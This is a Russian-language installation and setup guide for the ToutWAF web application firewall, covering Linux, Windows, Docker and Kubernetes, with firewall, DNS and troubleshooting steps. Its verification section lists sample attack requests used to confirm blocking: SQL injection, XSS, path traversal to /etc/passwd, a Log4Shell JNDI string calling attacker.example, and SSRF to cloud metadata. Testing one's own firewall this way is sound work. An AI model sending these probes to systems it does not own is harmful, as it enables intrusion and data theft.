Установка ToutWAF шаг за шагом
Инструкции для копирования и вставки: AlmaLinux 10, другие дистрибутивы Linux, Windows, Docker и Kubernetes. Нативные бинарные файлы: устанавливать среду выполнения не нужно. Затем запустите мастер, переключите DNS и проверьте работу.
Какую версию вы устанавливаете
Публичная версия — версия для разработки с именем 0.3.0-dev. Её имя не меняется: каждая публикация заменяет предыдущую, а два выпуска различает идентификатор сборки. Стабильной версии пока нет: её опубликуют, только когда каждая система и каждый пакет пройдут сквозное тестирование. Поэтому команды на этой странице устанавливают продукт из канала dev. Версия для разработки может содержать ошибки: прежде чем на неё полагаться, попробуйте её на тестовом сайте.
Требования
64-разрядный сервер (amd64 или arm64) под Linux или Windows, права root или администратора и свободные порты 80 и 443. Консоль слушает порт 9443 по секретному пути. Подробные требования и зависимости — чуть ниже.
Требования и зависимости
Что нужно вашему серверу, что добавляет установщик и что остаётся необязательным.
Поддерживаемые системы
Linux с systemd 239 или новее и glibc 2.28 или новее на amd64 или arm64: AlmaLinux, Rocky Linux, RHEL и Oracle Linux 8–10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11–13, Ubuntu 20.04–26.04, openSUSE и Arch (полная таблица ниже). Windows 10, 11 и Server 2016–2025 (ещё не запускалось на реальном хосте Windows). Установщик проверяет вашу систему до каких-либо изменений. Серверы, которые вы добавляете из консоли: агент хоста существует для Linux (amd64, arm64) и Windows (amd64).
Сетевые порты
80 и 443: веб-трафик (data plane). 9443: консоль (меняется ключом --cp-port). 9444: API для узлов data plane и агентов серверов; установщик его не открывает, разрешайте доступ только со своих серверов. 127.0.0.1:9101: локальная проверка состояния. UDP 443 остаётся закрытым (HTTP/3 не реализован). Агенты серверов делают только исходящие соединения на порт 9444.
Что делает установщик
Нужны права root или администратора и исходящий HTTPS для загрузки релиза. Устанавливает curl, tar и libcap, если их нет (и policycoreutils-python-utils в системах с SELinux), создаёт непривилегированного пользователя toutwaf и один каталог установки (/var/toutwaf с bin, conf, data и logs; --home DIR меняет его, а более старая установка сохраняет свои пути), ставит усиленные службы systemd (службы Windows в Windows), позволяет data plane занимать порты 80 и 443 без root, по умолчанию открывает брандмауэр, если активен firewalld или ufw (80, 443 и порт консоли; --console-from ограничивает консоль, --no-firewall отключает), размечает файлы для SELinux и проверяет суммы SHA-256.
Язык установщика
По умолчанию английский; установщик определяет язык системы. Задайте язык ключами --fr --de --es --it --pt --nl --ru --zh --ar или --en (Windows: -Fr и т. д. либо переменная TOUTWAF_LANG).
Самодостаточные бинарные файлы
Data plane написан на Rust, control plane и агент — на Go, консоль встроена в control plane. Не нужно устанавливать среды выполнения Python, Node.js или Java и сервер баз данных: данные хранятся в SQLite. Data plane на Rust требует glibc 2.28 или новее. Основные сторонние компоненты: tokio, hyper и rustls (Rust), Svelte и xterm.js (консоль).
Необязательные компоненты
ClamAV для антивирусной проверки хостов Linux (консоль может установить его за вас); Microsoft Defender в Windows. openssl нужен, только если включить проверку подписи релизов, а cosign — только если вы хотите проверять подписи с его помощью. Docker не требуется: манифесты Docker и Kubernetes — альтернативные способы развёртывания.
ToutPanel (сервер веб-хостинга)
Устанавливается из консоли по SSH или собственным установщиком. Linux: Debian 11–13, Ubuntu 20.04–24.04, AlmaLinux, Rocky Linux и RHEL 9 и 10, Fedora 40 и новее. Windows 10 и 11, Windows Server 2016–2025. Нужны root и bash (Linux) или PowerShell 5.1+ от администратора (Windows), Python 3.9–3.14 (ставится скриптом, если есть в дистрибутиве), не менее 1 ГБ ОЗУ (2 ГБ рекомендуется с MariaDB и PHP), 2 ГБ свободного места плюс ваши сайты и исходящий HTTPS. Панель по умолчанию слушает порт 8888; порты 80 и 443 обслуживают сайты. Источник: README ToutPanel.
ToutWAF пока не публикует минимальные требования к процессору, ОЗУ и диску: подберите размер сервера тестом на собственном трафике.
Поддерживаемые системы
Проверяются установщиком до каких-либо изменений. Статусы берутся из собственных данных установщика.
- tested Полный тест установки в контейнере пройден именно на этой версии.
- expected То же семейство, достаточно новые glibc и systemd, но полный тест не выполнялся.
- unsupported Отклоняется до каких-либо изменений (можно обойти на свой риск через --skip-os-check).
| Дистрибутив | Версии |
|---|---|
| AlmaLinux | 10tested9tested8tested |
| Rocky Linux | 10tested9tested8tested |
| Red Hat Enterprise Linux | 10tested9tested8tested7unsupported |
| CentOS Stream | 10tested9tested8unsupported7unsupported |
| Oracle Linux | 10tested9tested8tested7unsupported |
| Fedora | 44tested43tested42tested41tested |
| Amazon Linux | 2023tested2unsupported |
| Debian | 13tested12tested11tested10unsupported |
| Ubuntu | 26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported |
| Linux Mint / LMDE | все версииexpected |
| Pop!_OS | все версииexpected |
| Zorin OS | все версииexpected |
| elementary OS | все версииexpected |
| Kali Linux | rollingexpected |
| Raspberry Pi OS (32-bit, Raspbian) | все версииunsupported |
| Devuan | все версииunsupported |
| openSUSE Leap | 16.0tested15.6tested |
| openSUSE Tumbleweed | rollingtested |
| openSUSE Slowroll | rollingexpected |
| SUSE Linux Enterprise Server | 16.0expected15.7expected15.6expected |
| SUSE Linux Micro / MicroOS / Aeon | все версииunsupported |
| openSUSE MicroOS / Aeon / Kalpa | все версииunsupported |
| Arch Linux | rollingtested |
| Manjaro | rollingexpected |
| EndeavourOS | rollingexpected |
| Garuda Linux | rollingexpected |
| CachyOS | rollingexpected |
| Artix Linux | все версииunsupported |
| Alpine Linux | все версииunsupported |
| Void Linux | все версииunsupported |
| NixOS | все версииunsupported |
| Windows | Windows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected |
Мастер настройки: от нуля до защищённого сайта
При первом запуске веб-мастер проведёт вас от нуля до защищённого сайта в режиме обнаружения, ничего не ломая.
Домен и источник
Укажите публичный домен и адрес вашего сервера.
Автоматический сертификат
Сертификат от выбранного вами центра (по умолчанию Let's Encrypt) запрашивается и продлевается за вас.
Определение стека
ToutWAF распознаёт WordPress, Laravel, Django и другие.
Шаблон политики
Предлагается подходящий шаблон. Проверьте его или оставьте стандартный.
Режим обнаружения
Несколько дней трафик анализируется без блокировки, затем формируется отчёт.
Переход к блокировке
Один щелчок, чтобы включить, один — чтобы откатить.
- ✓99,8 % трафика было бы разрешено
- !3 правила дают 95 % ложных срабатываний
- ✓Предложено 3 исключения, готовых к проверке
Обновите систему и установите зависимости
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsУстановка однострочным скриптом
Скрипт загружает нативные бинарные файлы для вашей архитектуры, создаёт отдельного непривилегированного пользователя и устанавливает защищённые службы systemd toutwaf-dp (плоскость данных, порты 80 и 443) и toutwaf-cp (плоскость управления и консоль, порт 9443), после чего выводит данные для первого входа.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashХотите сначала прочитать скрипт?
Скачайте его, изучите и только потом запускайте. Рекомендуется для рабочих серверов.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shПараметры установщика
Новая установка размещается в одном каталоге, /var/toutwaf (bin, conf, data и logs; меняется параметром --home DIR или переменной TOUTWAF_HOME), а утилиты командной строки связываются в /usr/local/bin. Ранее выполненная установка сохраняет свои пути (/etc/toutwaf, /var/lib/toutwaf) и никогда не переносится.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devОткройте межсетевой экран
Установщик по умолчанию открывает эти порты, если активен firewalld или ufw: 80 и 443, а также порт консоли 9443 (ограничьте его сетью администраторов параметром --console-from). Порт агентов 9444 никогда не открывается для всех. Эти команды нужны только с --no-firewall, при другом брандмауэре или для ручной настройки.
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-allSELinux
Оставьте SELinux в режиме enforcing. Присвойте метки каталогам ToutWAF и убедитесь, что отказы AVC не регистрируются.
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recentУправление службами
Обе службы запускаются при загрузке. Эти команды запускают, останавливают или перезапускают их.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpПроверьте службы
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerОбновление
Сделайте резервную копию настроек и данных и снова запустите установщик: он сохраняет ваши настройки и сам откатывается, если новая версия не стала работоспособной. Показаны пути новой установки (/var/toutwaf); более старая установка сохраняет /etc/toutwaf и /var/lib/toutwaf. Обновить можно и из консоли, на странице «Обновления».
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzУдаление
Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeОбновите систему и установите зависимости
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsУстановка однострочным скриптом
Скрипт загружает нативные бинарные файлы для вашей архитектуры, создаёт отдельного непривилегированного пользователя и устанавливает защищённые службы systemd toutwaf-dp (плоскость данных, порты 80 и 443) и toutwaf-cp (плоскость управления и консоль, порт 9443), после чего выводит данные для первого входа.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashХотите сначала прочитать скрипт?
Скачайте его, изучите и только потом запускайте. Рекомендуется для рабочих серверов.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shПараметры установщика
Новая установка размещается в одном каталоге, /var/toutwaf (bin, conf, data и logs; меняется параметром --home DIR или переменной TOUTWAF_HOME), а утилиты командной строки связываются в /usr/local/bin. Ранее выполненная установка сохраняет свои пути (/etc/toutwaf, /var/lib/toutwaf) и никогда не переносится.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devУправление службами
Обе службы запускаются при загрузке. Эти команды запускают, останавливают или перезапускают их.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpПроверьте службы
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerОбновление
Сделайте резервную копию настроек и данных и снова запустите установщик: он сохраняет ваши настройки и сам откатывается, если новая версия не стала работоспособной. Показаны пути новой установки (/var/toutwaf); более старая установка сохраняет /etc/toutwaf и /var/lib/toutwaf. Обновить можно и из консоли, на странице «Обновления».
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzУдаление
Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeУстановите зависимости (apt)
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufwУстановка однострочным скриптом
Скрипт загружает нативные бинарные файлы для вашей архитектуры, создаёт отдельного непривилегированного пользователя и устанавливает защищённые службы systemd toutwaf-dp (плоскость данных, порты 80 и 443) и toutwaf-cp (плоскость управления и консоль, порт 9443), после чего выводит данные для первого входа.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashХотите сначала прочитать скрипт?
Скачайте его, изучите и только потом запускайте. Рекомендуется для рабочих серверов.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shПараметры установщика
Новая установка размещается в одном каталоге, /var/toutwaf (bin, conf, data и logs; меняется параметром --home DIR или переменной TOUTWAF_HOME), а утилиты командной строки связываются в /usr/local/bin. Ранее выполненная установка сохраняет свои пути (/etc/toutwaf, /var/lib/toutwaf) и никогда не переносится.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devОткройте межсетевой экран (ufw)
Установщик по умолчанию открывает эти порты, если активен firewalld или ufw: 80 и 443, а также порт консоли 9443 (ограничьте его сетью администраторов параметром --console-from). Порт агентов 9444 никогда не открывается для всех. Эти команды нужны только с --no-firewall, при другом брандмауэре или для ручной настройки.
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw statusУправление службами
Обе службы запускаются при загрузке. Эти команды запускают, останавливают или перезапускают их.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpПроверьте службы
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerОбновление
Сделайте резервную копию настроек и данных и снова запустите установщик: он сохраняет ваши настройки и сам откатывается, если новая версия не стала работоспособной. Показаны пути новой установки (/var/toutwaf); более старая установка сохраняет /etc/toutwaf и /var/lib/toutwaf. Обновить можно и из консоли, на странице «Обновления».
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzУдаление
Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeОткройте PowerShell от имени администратора и запустите установщик
Устанавливает нативные бинарные файлы, регистрирует службу Windows ToutWAF для плоскости данных и задачу запуска для консоли и открывает порты брандмауэра. Установщик ещё не запускался на реальном хосте Windows.
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iexОткройте межсетевой экран
Установщик по умолчанию открывает эти порты, если активен firewalld или ufw: 80 и 443, а также порт консоли 9443 (ограничьте его сетью администраторов параметром --console-from). Порт агентов 9444 никогда не открывается для всех. Эти команды нужны только с --no-firewall, при другом брандмауэре или для ручной настройки.
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action AllowПроверьте службы
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443Обновление
Сделайте резервную копию настроек и данных и снова запустите установщик: он сохраняет ваши настройки и сам откатывается, если новая версия не стала работоспособной. Показаны пути новой установки (/var/toutwaf); более старая установка сохраняет /etc/toutwaf и /var/lib/toutwaf. Обновить можно и из консоли, на странице «Обновления».
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -YesУдаление
Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -PurgeDocker Compose на Mac или Linux
Docker Compose в Linux или на Mac (Docker Desktop, OrbStack, Colima) с образом «всё в одном» (плоскость управления и плоскость данных). Файлы поставляются с вашим дистрибутивом ToutWAF (папка deploy; в открытом репозитории её нет — там только бинарные файлы и установщики). В образ входят готовые бинарные файлы для каждой архитектуры (bin/amd64 или bin/arm64), а сам образ пока не опубликован в реестре. Проверено только на Linux amd64; на реальном Mac не проверялось: за Docker Desktop виден IP-адрес шлюза Docker вместо адреса клиента. Одноразовые учётные данные появляются один раз в журнале плоскости управления.
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cpОбновление (контейнеры)
Сначала сделайте резервную копию. Кнопка обновления в консоли в контейнере работать не может: замените бинарные файлы в папке bin (или образ, когда он будет опубликован) и пересоберите; тома, то есть ваши данные, сохраняются.
docker compose up -d --buildУдаление
Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.
docker compose downdocker compose down -vУстановка через Helm
Разворачивает плоскость данных в роли ingress и, при желании, плоскость управления внутри кластера. Чарт и манифесты (включая режим sidecar) находятся в папке deploy вашего дистрибутива ToutWAF, а не в открытом репозитории, где только бинарные файлы и установщики. Оператор — это лишь CRD и заготовка.
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yamlПроверьте поды и откройте консоль
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443Обновление (контейнеры)
Сначала сделайте резервную копию. Кнопка обновления в консоли в контейнере работать не может: замените бинарные файлы в папке bin (или образ, когда он будет опубликован) и пересоберите; тома, то есть ваши данные, сохраняются.
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yamlУдаление
Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.
helm uninstall toutwaf --namespace toutwafkubectl delete namespace toutwafПосле установки: настройка и проверка
Первый вход
Откройте секретную ссылку на консоль, показанную в конце установки (консоль отвечает только по этому пути), и воспользуйтесь одноразовой ссылкой настройки или паролем администратора, сгенерированным один раз в итоговом отчёте. Сразу включите двухфакторную аутентификацию и создайте второго администратора, чтобы никогда не потерять доступ.
Console : https://<server>:9443/<secret-path>/ (printed by the installer)
CLI : toutwafctl --help
Health : http://127.0.0.1:9101/healthz (data plane, local only)Добавьте первый сайт
В разделе «Сайты» нажмите «Новый сайт» и укажите публичный домен и upstream (реальный адрес вашего сервера). Начните в режиме только обнаружения и включите блокировку, когда отчёт будет чистым. Сайты можно создавать и через REST API с помощью API-токена.
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
-H "Authorization: Bearer $TOUTWAF_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'Переключите DNS
За день до переключения уменьшите TTL записей. Затем направьте A / AAAA-записи домена на сервер ToutWAF. После распространения DNS будет выпущен сертификат. Ограничьте межсетевой экран источника так, чтобы доступ был только у сервера ToutWAF.
example.com. 300 IN A 203.0.113.10
www.example.com. 300 IN CNAME example.com.sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcpПроверьте тестовыми атаками
Каждый из этих запросов должен вернуть 403 и появиться в разделе «Атаки» (в режиме блокировки). Запускайте их только против собственных сайтов.
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/Устранение неполадок
Консоль недоступна на порту 9443
Запустите Доктор ToutWAF на сервере: он проверит службы, порты и брандмауэр машины и подскажет, что делать. Он работает и из командной строки, когда сама консоль недоступна; группа безопасности облака перед сервером тоже должна пропускать порт 9443.
Блокируются легитимные запросы (ложные срабатывания)
Откройте событие в разделе «Атаки», прочитайте объяснение и нажмите кнопку ложного срабатывания, чтобы создать самое узкое исключение, либо снизьте уровень паранойи для сайта.
502 Bad Gateway
ToutWAF не может достучаться до вашего источника. Откройте Доктор ToutWAF, строка «Сервер-источник»: он покажет, отказывает ли порт в соединении, не разрешается ли имя или не вызывает ли доверия сертификат, и что делать. Проверьте также брандмауэр источника.
Не удаётся выпустить сертификат Let's Encrypt
Доктор ToutWAF перед заказом проверяет DNS (включая запись AAAA, оставшуюся у CDN или прокси) и доступность порта 80. Для wildcard-сертификата используйте проверку DNS-01.
В моём приложении неверный реальный IP клиента
Читайте заголовок X-Forwarded-For, который выставляет ToutWAF, и доверяйте ему только если запрос пришёл с адреса сервера ToutWAF.
Где находятся журналы?
Используйте страницы «Журналы» и «События» консоли. Службы также пишут в системный журнал машины, а Доктор формирует текстовый отчёт, который можно отправить в поддержку.